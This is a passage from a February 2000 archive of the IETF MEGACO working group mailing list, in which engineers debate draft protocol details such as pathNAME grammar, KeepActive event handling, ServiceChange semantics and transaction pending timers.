> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 14:34:56 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07306
	for ; Fri, 4 Feb 2000 14:34:55 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A58C5C70@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:32:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25057 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:30:50 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6F325440@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          14:30:50 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 19:31:40 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 13:31:12 -0600
Received: from zcard00m.ca.nortel.com by zmers013; Fri, 4 Feb 2000 14:30:50
          -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 12HZCADG; Fri, 4 Feb 2000 14:30:20 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJFT1; Fri, 4 Feb 2000 14:30:20
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <389B050C.A7A95BEB@aztek-eng.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389B2936.ECAFEB0A@americasm01.nt.com>
Date:         Fri, 4 Feb 2000 14:32:06 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: Ambiguous pathNAME in ABNF?
X-To:         Jo Friedman 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

This PR is a victim of what terminationID should be! As it evolved
the PR got relaxed a bit to allow "/" and "*" into the name for reasons
you would find if you dig through the archive. Would some parsing
tools consider it to be ambiguous ? Very possible. A programmer
may want to work around some of the PRs, e.g., pathName could be
rewritten as
pathNAME          = ["*"] ALPHA *("/" / "*"/ ALPHA / DIGIT /"_" )

Does this mean that the current ABNF is ambiguous ? Definitely NOT.

Abdallah Rayhan

Jo Friedman wrote:

> Is this rule is ambiguous?
>
> ; Total length of pathNAME must not exceed 64 chars.
> pathNAME             = ["*"] NAME *("/" / "*"/ ALPHA / DIGIT /"_"
> )
>
> because a NAME must end with an ALPHA, DIGIT, or _ according to
> NAME                 = ALPHA *63(ALPHA / DIGIT / "_" )
>
> how does one know where the NAME ends and the
> *("/" / "*"/ ALPHA / DIGIT /"_" )
> begins?
>
> Jo


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 14:55:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07759
	for ; Fri, 4 Feb 2000 14:54:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4EE038D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:51:24 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25094 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:50:13 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.BE790480@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:40:13
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA22605; Fri, 4 Feb
          2000 14:42:22 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA13369; Fri, 4 Feb
          2000 14:42:08 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTSFR>; Fri, 4 Feb 2000 14:38:52 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208897@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 14:42:05 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Coming out of Red Bank there was NO consensus on Events,
there was in fact wide disagreement on events.  Coming out of
Washington, there was NO consensus on events, there was in fact
wide disagreement on events.  The proposal we have in V13 was
an attempt to fix what people saw as problems in the event
mechanism.

In Red Bank, no one could explain how the MGCP mechanism works.
In Washington, several people attempted to explain how it works
(Christian Huitema was not there for that session).  Today in
fact, I'll bet you if you ask 10 people who claim they understand
how the MGCP mechanism works, you would get several answers,
although I would grant you that there is not a lot of variation
in the implementations.  The V13 mechanism was not comprehensible
to anyone in the design meetings in Washington or Red Bank.

I still have never been given any semblance of a reason why
the variables in the MGCP exist, and what you do with them.
I can, and have, provided same for the current mechanism.  So far
we have not, save the confusion over the digitmap/keep active
confusion, found a problem.

So far, I have found people who want the MGC to sort out events,
and they want them as fast as the MG finds them.  I also found
people who want a simple state machine, with the MG and MGC in
lock step over what should happen.  We cater to both of those.
You seem to want something in between, something where the MG
has more knowledge about what the MGC wants, and when it wants it
than I can figure out.  I can't understand how anything in between
gimme all of them, and gimme the next one can work; please
enlighten me.

Brian

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> Sent: Friday, February 04, 2000 2:11 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Cisco SG16: Keep Active
>
>
> Hi Brian
>
> Some comments below
>
> Regards
>
>             Flemming
>
> "Rosen, Brian" wrote:
>
> > We have just had a discussion on this issue, and I believe it
> > addresses it: digitmaps on dtmf optimizes reporting
> > of dtmf detection, but is otherwise the same as individual dtmf
> > events being enabled.  By that definition, KeepActive works the
> > way you wanted it; without it, signals stop with first detected
> > digit.  With it, signals continue while digits are detected.
> > So your IVR app would specify KeepActive on the digitmap completion
> > event, and use an embedded signal to turn it off if you wanted to.
> > The old mechanism doesn't work any differently; if you had specified
> > keepactive on the digits, whether or not they were accumulate by
> > digitmap actions, you still would not be able to treat the initial
> > digit differently from the terminating digit.  The only way you
> > could make this better would be to have the digitmap completion
> > event entirely separate from the dtmf detection events, so you
> > could have KeepActive separately on the digits from the completion.
> > I think embedded signals is a better answer, but I'm on record as
> > thinking that digitmaps should be a package and not a basic
> > protocol.
> >
> > I'll deal with any problems we still have with the current text,
> > but a "everything changed" complaint without a problem is a no-op.
>
> I beg to differ. A change without a problem is
> counterproductive and what
> gets into these situations. We had something perfectly fine
> after the Red
> Bank meeting which for some reason was changed. Exactly *what* was the
> problem that prompted this massive change (I'll spare you the ITU-T
> procedural arguments here). If there were no compelling
> reasons, then I
> suggest that the text is simply brought back in line with the
> agreement from
> Red Bank, and then we can close this (big) one and move along.
>
> If you really want to, we can start a debate about the
> relative merits,
> trade-offs, and shortcomings of one scheme versus the other.
> A couple of
> topics off the top of my head
> - Reduced number of messages and resultant reduced load on network and
> entities
> - Effective event arrival rate not limited by MGC-MG round-trip time
> - Support for scripting
>
>
>
> >
> >
> > brian
> >
> > > -----Original Message-----
> > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > Sent: Friday, February 04, 2000 12:12 AM
> > > To: MEGACO@standards.nortelnetworks.com
> > > Subject: Re: Cisco SG16: Keep Active
> > >
> > >
> > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > >
> > > >
> > > >I think the primary need here is for clarifying text in
> > > section 7.1.14
> > > >indicating that events mapped into a digit map do not generate
> > > >notifications, but do terminate ongoing signals unless the
> > > KeepActive flag
> > > >is set.
> > > Not really. The fundamental problem is the complete rework of
> > > the agreed
> > > upon event handling mechanism that for some reason was done
> > > after the Red
> > > Bank meeting.
> > >
> > > >
> > > >-----Original Message-----  From:  Chip Sharp
> > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:43
> > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > >   Cisco SG16:
> > > >Keep Active
> > > >
> > > >Section:        7.1.9, "Event Actions"
> > > >table  Category:       Technical  Issue:          The draft
> > > text specifies
> > > >that "KeepActive:      As Notify, but  production of signals
> > > continues (if
> > > >any signals were active)".The above  definition is overly
> > > restrictive in
> > > >that it prevents events from being  accumulated (either with
> > > or without
> > > >digit map) and at the same time keeping  a signal active.
> > > For example an
> > > >IVR application accumulating a string of  user input and
> playing an
> > > >announcement until the entire string is  accumulated cannot
> > > be supported
> > > >with the above behaviour.  Proposal:       It is
> recommended, that
> > > >"KeepActive" does not generate a "Notify"  and that it
> > > becomes possible to
> > > >specify multiple actions such that  "KeepActive" can be
> > > combined with,
> > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> the particular
> > > >application.
> > > >
> > > >v13 Status:     OPEN. Event actions table has been removed and
> > > >extensive  modification of entire event processing taken place.
> > > >
> > > >Section:        7.1.9  Category:       Technical  Issue:
>          The
> > > >draft text specifies that "When KeepActive is specified
> as the  event
> > > >action, the media gateway shall send a Notify message to the
> > >  controller
> > > >upon detection of the event. Furthermore, the controller
> shall  not
> > > >interrupt any signals active on the Termination on which
> the event
> > > >is  detected" The above definition is overly restrictive
> in that it
> > > >prevents  events from being accumulated (either with or
> > > without digit map)
> > > >and at the  same time keeping a signal active. For example an IVR
> > > >application  accumulating a string of user input and playing an
> > > >announcement until the  entire string is accumulated cannot
> > > be supported
> > > >with the above behaviour.  Proposal:       It is
> recommended, that
> > > >"KeepActive" does not generate a "Notify"  and that it
> > > becomes possible to
> > > >specify multiple actions such that  "KeepActive" can be
> > > combined with,
> > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> the particular
> > > >application.
> > > >
> > > >v13 Status:     OPEN. Extensive modifications of event
> handling has
> > > >taken  place. Events now always reported immediately on
> detection.
> > >
> > > Support NetAid!  http://www.netaid.org
> > > --------------------------------------------------
> > > Chip Sharp                 Consulting Engineering
> > > Cisco Systems              Telco Bio-region
> > > Reality - Love it or Leave it.
> > > --------------------------------------------------
> > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:02:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08065
	for ; Fri, 4 Feb 2000 15:02:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.279AB470@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:57:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25138 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:56:45 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.0D848B10@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:56:44
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204195848.JFTJ7433@worldnet.att.net>; Fri, 4 Feb 2000 19:58:48
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208894@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389B2F0D.F42CCBE1@worldnet.att.net>
Date:         Fri, 4 Feb 2000 14:57:02 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Service Change
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Brian

Some comments below

-- Flemming

"Rosen, Brian" wrote:

> Hi Flemming
>
> Comments to your comments below
>
> > Actually, there has. v13 made some changes from v12 in this
> > area. In v12,
> > "forced" would had an effect similar to subtract on the affected
> > termination, where as in v13, all of a sudden it's the MGC
> > responsibility
> > to figure out what the state of the MG is. Similarly, "restart" in v12
> > implied the affected terminations were not associated with any Context
> > (except for the NULL context presumably), where as v13 does
> > not. Again, the
> > MGC will now have to figure out what state the MG is in when
> > it receives a
> > "restart", 'cause it can't make any assumptions whatsoever.
> I'd have to wade through a lot of messages to figure out when we
> decided that the MGC had to Subtract to keep state consistent
> on a ServiceChange, but I remember it before V12.m  At any rate,
> the MGC doesn't have to "figure out" the state of the MG, all it
> has to do is Subtract the affected terminations.

No, it's worse than that. The MGC first has to find out if these
terminations are associated with any contexts right now, as I tried to
explain in the primary/secondary MGC "restart" case below.

>
>
> The problem is this: if the MG, on it's own, disconnects the
> terminations from the context, then the MG and the MGC don't
> agree on state, and in particular, commands in progress get screwed up.
> While the MG can return errors subsequent to failing the
> connections, MG and MGC state is inconsistent.  If the MGC does
> the subtract, then the state is always consistent.  One particular
> issue is whether the whole context should be taken down, or just
> the failed terminations.  The MGC knows what it wants to happen,
> the MG does not.  There doesn't seem to be any problem in having the MGC
> always be the one that does the subtract.
>

But they get screwed up anyway since the serviceState by definition is "Out
of Service" after "forced", so what's the advantage (I've already pointed
out the disadvantages) ?

There are clearly some semantic expectations associated with these
serviceStates. Again, I think these need to be spelled out clearly and a
state transition diagram for transition between the serviceStates needs to
be included.


>
> > >
> > > If you cold-start an MG, it will come up in a known state, and
> > > Restart to it's MGC, primary or secondary.  I think we can all
> > > agree it does this.
> >
> > Yep, but what about warm-start ?
> Define warm start - Restart of Root is equivalent to cold start

In that case, not even cold-start has a known state (there may or there may
not be exising contexts with terminations when you get a "restart" ROOT). By
warm-start, I meant some "restart" after initial registration had succeeded
previously.


>
> Handoff is a no-state-change thing
> Failover is the same

Agreed.

>
> >
> > >
> >
> > > If the MG itself FORCES terminations out of service, then the MGC
> > > has to do the subtract.  There is no ambiguity of state.  No
> > > secondary MGC is involved.
> > >
> > > If the MGC FORCES terminations out of service, it must do the
> > > subtract also, and there is no ambiguity of state.  No secondary
> > > MGC is involved.
> > >
> > > Somehow, your problem statement gets into a Handoff, or Failover
> > > case, where, for some reason, you posit a working primary MGC
> > > getting one message, and a working secondary MGC getting
> > another one.
> > > On a failure of an MG, there is no change of MGC, so the restart
> > > looks like an initial registration, and all the terminations
> > > should be in a known state.
> >
> > Yes, they should, and that's the point. When you get a
> > "restart", you know
> > you are in well-known *clean* state.
> Confusion on terminations going in and out of service and the
> MG going in and out of service.

That's possible. Let's get the state transition diagram to clear it then.

>
>
> Restart applied to root is cold start; you are in a well-known
> state.  You don't see Restart in failover/handoff, state is not

> changed, new MGC must have state from some outside mechanism,
> or Audit.
> >
> >
> > >
> > > On an MG initiated failover, the MG registers with the secondary
> > > with Failover, not Restart.  The MGC could send Forced to
> > > the primary, but the MG is considering it dead, and probably
> > > wouldn't do it.  At any rate, failover DOES require an audit
> > > by the secondary MGC as it should.
> >
> > Ah yes, but what happens when the MG sends "forced" to the
> > MGC (MGC-A), and
> > a little later it tries to register with MGC-A who meanwhile crashed.
> > Consequently, MG goes through it's list of secondaries and
> > finds MGC-B. Are
> > you saying it no longer uses "restart" but "failover" ?
> So this is a multiple error problem, the MG is dieing slowly.
> First some of its terminations go belly up, then before it can
> restart them, it loses its control association and has to
> re-register itself, and on top of that, it's MGC died!  Poor MG,
> the whole world is falling down!
>
> I rather doubt this case is worth worrying about too much :)

Well at least we agree there's a problem then. I don't think it's proper
protocol design to ignore that.

>
>
> > Regardless of what the answer is, it seems like there is a
> > need for a state
> > transition diagram for the MG and MGC in the text somewhere. It is not
> > exactly clear what all these rules add up to, and there's clearly some
> > underlying logic expected.
> Not an unreasonable request, but not something I would hold up
> ITU or IETF for.

It's more important to get it out there than actually specifying it in
detail ? I'm sure you could put this together fairly quickly, and since
there is a lot of new text here and clearly some confusion, I don't think
that's an unreasonable request.

>
>
> > As for requiring an audit after failover, that seems rather
> > strange to me.
> > Since failover supposedly is transparent (don't loose any
> > messages, right
> > ?) why would you need that ? You can of course recommend it
> > as good MGC
> > practice if you think you don't have transparent failover,
> > but I thought
> > that was the intent of "disconnected".
> Up to your implementation.  If your MGCs have a way to discover
> the state of the MG without audit, terrific.  If they don't,
> or even if they do, an Audit would be a good thing to check things
> out.

Sounds good - as long as the protocol state machine doesn't require it.

>
>
> > >
> > >
> > > On an MGC initiated failover, you use Handoff.  Again, the MGC knows
> > > what the state is, but the secondary doesn't.  It must Audit, but
> > > that is as it should be.
> >
> > Maybe it does, maybe it doesn't. That's MGC internals, right ?
> Agreed, doesn't change the rules or the current text
>
> > >
> > >
> > > There are no other cases of Forced or Restart that I know about.
> > >
> > > > Section:         7.2.8 (ServiceChange), numbered item six
> > > > Category:     Editorial/Technial
> > > > Issue no.:     14.7
> > > > Issue:          The draft text for "Failover" specifies that
> > > > "..., and sent
> > > > from MG to (new) MGC in response to the MG having received a
> > > > ServiceChange
> > > > with ServiceChangeMethod equal to Handoff". It would seem
> > to be more
> > > > consistent if the MG sent a "Handoff" rather than a
> > > > "Failover" to the (new)
> > > > MGC in response to a handoff from the old MGC.
> > > > Proposal:     It is proposed, that above text segment is
> > > > moved from the
> > > > "Failover" method to the "Handoff" method.
> > > > Status:
> > > I'm okay with this, although I think it's a nit
> > >
> > > >
> > > > Section:         7.2.8 (ServiceChange), fifth last paragraph
> > > > Category:     Technical, Editorial
> > > > Issue no.:     14.8
> > > > Issue:          The draft text specifies that "The MGC
> > shall use this
> > > > Addres, if specified, in its response to the ServiceChange
> > > > command and any
> > > > subequent commands and responses" and "The MG shall use this
> > > > address for
> > > > any subsequent communication with the MGC". While it makes
> > > > sense to require
> > > > commands to be sent to this address, it is generally not a
> > > > good idea to
> > > > require this for responses, e.g. for clustered systems.
> > Furthermore,
> > > > Section 9 (Transport) also specifies that "Responses to
> > > > commands are sent
> > > > back to the source address of the commands"
> > > > Proposal:     It is strongly recommended, that commands will
> > > > be sent to the
> > > > address specified while responses will always be sent to the
> > > > source address
> > > > they came from.
> > > > Status:
> > > I agree with this.  The text is inconsistent, so something needs
> > > to be changed.  Chip's proposal seems the most reasonable way
> > > to resolve it
> > >
> > > >
> > > > Section:         7.2.8 (ServiceChange), third last paragraph
> > > > Category:     Editorial
> > > > Issue no.:     12.25
> > > > Issue:          The draft text specifies that "The
> > > > ServiceChangeMethod
> > > > shall be "forced" for this usage". This is inconsistent with the
> > > > description in Section 11.2  which specified a
> > ServiceChangeMethod of
> > > > "Restart".
> > > > Proposal:     It is recommended that the above text be
> > > > modified to use a
> > > > ServiceChangeMethod of "Restart" instead.
> > > > Status:
> > > >      v13: CLOSED. Text has been modified.
> > > >
> > > >
> > > > Section:     7.2.8 (ServiceChange), last bullet list
> > > > Category:     Technical
> > > > Issue no.:     13.13
> > > > Issue:          The draft text specifies that "Profile required if
> > > > terminationID is not ROOT, optional otherwise". However there
> > > > may not be a
> > > > profile, in which case it makes little sense to require it.
> > > > Secondly, it
> > > > would seem to make more sense to require a profile when the
> > > > terminationID
> > > > in fact is ROOT as that would be the initial registration.
> > > > Proposal:     It is proposed, that the text is changed in
> > > > accordance with
> > > > above.
> > > > Status:
> > > >      v14: OPEN. No relevant text changed.
> > > How about: Profile is Required if the termination ID is ROOT,
> > > and the entity supports a profile, optional otherwise.
> > >
> > > I agree the text is wrong, and some change is required.
> > >
> > > >
> > > > >
> > > > >
> > > > >Section:        11.2  Category:       Technical  Issue:
> > > >     When a
> > > > >gateway starts, it generates a restart ServiceChange  to the
> > > > MGC. If the
> > > > >MGC's response to the ServiceChange is lost while a  later
> > > > command is
> > > > >received by the gateway, how this command is handled is  not
> > > > specified in
> > > > >the draft text.  Proposal:       It is recommended that the
> > > > gateway will
> > > > >return an error.
> > > > >
> > > > >v13 Status:     OPEN. No text changed.
> > > > >
> > > > >[[TomT]]  Agreed in principle.  This triggered thoughts
> > of flooding
> > > > >attacks where the attacker masquerades as the MGC which it
> > > > is indirectly
> > > > >trying to flood with error messages.  I suppose we're OK
> > so long as
> > > > >authentication failures are discarded silently.  Anyway,
> > I'll add a
> > > > >"clarification" to section 8.3 stating that the MG should
> > > > respond with an
> > > > >error to authenticated messages from MGCs with which the
> > MG is not
> > > > >currently associated.   It's not quite so simple for
> > MGCs receiving
> > > > >messages from strangers -- I guess the MGC has to look
> > > > inside to determine
> > > > >whether to accept them.
> > > > v14: CLOSED. An error will be returned
> > > > >
> > > > >
> > > > >Section:        11.2  Category:       Technical  Issue:
> > > >     The draft
> > > > >text specifies that "If the MGC accepts the MG,  it will send a
> > > > >Transaction Accept, with the MGCIdToTry set to itself. If
> > > > the MG receives
> > > > >an MGCIDToTry not equal to the MGC it contacted, it send a
> > > > ServiceChange
> > > > >to the MGC specified in the MGCIdToTry". It is inconsistent
> > > > to on one
> > > > >hand accept the transaction as successful, yet on the other
> > > > hand  require
> > > > >the MG to examine the MGCIdToTry returned to determine if
> > > > >the  registration really was successful or not.
> > Examination of the
> > > > >syntax  reveals that this is part of a larger problem where
> > > > >unsuccessful  transactions, actions and commands are not
> > > > able to return
> > > > >any other  information than an ErrorDescriptor which can
> > > > only contain an
> > > > >error code  and text.  Proposal:       It is recommended
> > > > that the above
> > > > >procedure is replaced by  return of an error code and
> > > > another MGCIdToTry
> > > > >if the registration did not  complete. Furthermore, it is
> > > > recommended that
> > > > >ErrorDescriptors are extended  to allow return of other
> > information
> > > > >(essentially CommandReply) than only  an error code and text.
> > > > >
> > > > >v13 Status:     OPEN. No text changed  [[TomT]]  As I see
> > > > it, redirection
> > > > >is different from a transaction error.  The MGC processed
> > > > the command
> > > > >successfully, and the response contains useful information.
> > > > An error
> > > > >should be thought of as a situation where the responder
> > > > reached a dead end
> > > > >when it tried to comply with the request.  In general
> > > > recovery from an
> > > > >error is pretty basic: kill the call.  In special cases the
> > > > error code and
> > > > >context should give enough information for recovery.
> > > > Not really. Think of SIP, HTTP, MGCP, etc. There are numerous
> > > > return codes
> > > > that have nothing to do with "errors" per se. In reality,
> > > > these "error
> > > > codes" are really "return codes" and maybe that's where the
> > > > confusion arises.
> > > I'm with Tom on this one, and I'll further point out you can't do
> > > what Chip proposes since if you get an Error descriptor, you
> > > won't get the Service descriptor with the MgcIdToTry!
> >
> > Yes, and as pointed out above, that's a fundamental problem
> > that seems to
> > have no motivation and certainly not be in line with current
> > experience and
> > practice.
> I don't understand.  Are you saying that when you have an error,
> you also expect to see normal responses?  I usually don't expect
> such things.  Are you saying MGCP does that?  Could be.

Depends on how you define an error. I prefer thinking of it as "return
codes". Some of these imply the transaction is done and no further action is
to be taken (e.g. like a 200 OK). Others imply, that the transaction is
done, but further action is needed, e.g. a 3xx response in SIP, or similar.
Finally, you have the class of response that truly indicate that something
went wrong, i.e. an error.

>
>
> It's NOT an error, it's a refusal to accept the MG for service.
>
> Seems like you are arguing that it should be an error, and
> despite the fact that it's an error, you should get the
> Service Descriptor back in addition to the Error Descriptor.
> That's a pretty big change, and I'd say unwarranted.
>
> While we could have had "Error Codes" be interpretted as
> "Return codes", and we could have had information necessary
> to proceed contained in error messages, we didn't.  I can't see
> changing that now, when the mechanism we have now works.

That's a valid concern (not quite sure what the errorDescritpor in
AuditReturnParameter is doing though), however I do think you will end up
regretting it.


>
>
> >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:08:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08614
	for ; Fri, 4 Feb 2000 15:08:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.49603930@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:05:34 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25214 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 15:05:06 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.38BBAA10@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:05:06
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204200717.JKAN7433@worldnet.att.net>; Fri, 4 Feb 2000 20:07:17
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208895@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------46FC0A7044A4AA5127AD4538"
Message-ID:  <389B3106.24F425B6@worldnet.att.net>
Date:         Fri, 4 Feb 2000 15:05:26 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------46FC0A7044A4AA5127AD4538
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Brian

Questions/comments below

-- Flemming


"Rosen, Brian" wrote:

>
>
>      MGC                MG
>      Request ->
>
>              x-     Pending (now switches to a longer timer)
>
>      [br]Who has the longer timer?  The requestor, yes, the
>      responder, no
>

Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in
terms of both bandwidth and processing.


>
>
>
>      (lost, so MGC sticks w. normal timer)
>
>      (timeout)
>      Request ->     (ignore since transaction is currently
>      executing)
>      (timeout))
>      Request ->     (ignore since transaction is currently
>      executing)
>      (timeout)
>      Request ->     (ignore since transaction is currently
>      executing)
>      ...
>             <- Final
>      (finally)
>
>      [br]I think that you get a pend within the normal response.
>      If you lose the pend, you generate one extra request
>      duplicate, but the longer timer isn't going to be twice
>      normal time; you simply want to avoid the case of the pend
>      timer and the normal response timer being the same value and
>      causing extra messages when the requests/responses pass each
>      other on the net.  If ALL the pends are lost, you would see
>      the above, but you would only get one extra if only the
>      first were lost.
>

I'm not sure I follow any longer. Can you explain the mechanism again,
perhaps with an example ?

>
>
>     >
>     >
>     > Brian
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------46FC0A7044A4AA5127AD4538
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Brian

Questions/comments below

-- Flemming

 

"Rosen, Brian" wrote:

 

MGC               
MG

Request ->

       
x-     Pending (now switches to a longer timer)

[br]Who
has the longer timer?  The requestor, yes, the responder, no






Are you saying that the MG will keep bombarding the MGC with pending
messages until it can send a final one ? That seems rather wasteful in
terms of both bandwidth and processing.

 



 







 

(lost, so MGC sticks w. normal timer)

(timeout)

Request ->    
(ignore since transaction is currently executing)

(timeout))

Request ->    
(ignore since transaction is currently executing)

(timeout)

Request ->    
(ignore since transaction is currently executing)

...

      
<- Final

(finally)

[br]I
think that you get a pend within the normal response.  If you lose
the pend, you generate one extra
request duplicate, but the longer
timer isn't going to be twice normal time; you simply want to avoid the
case of the pend timer and the normal response timer being the same value
and causing extra messages when the requests/responses pass each other
on the net.  If ALL the pends are lost, you would see the above, but
you would only get one extra if only the first were lost. 






I'm not sure I follow any longer. Can you explain the mechanism
again, perhaps with an example ?



 

 

Brian





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------46FC0A7044A4AA5127AD4538--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 15:11:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09112
	for ; Fri, 4 Feb 2000 15:11:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.91972970@standards.nortelnetworks.com>; Fri, 4 Feb 2000 15:07:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
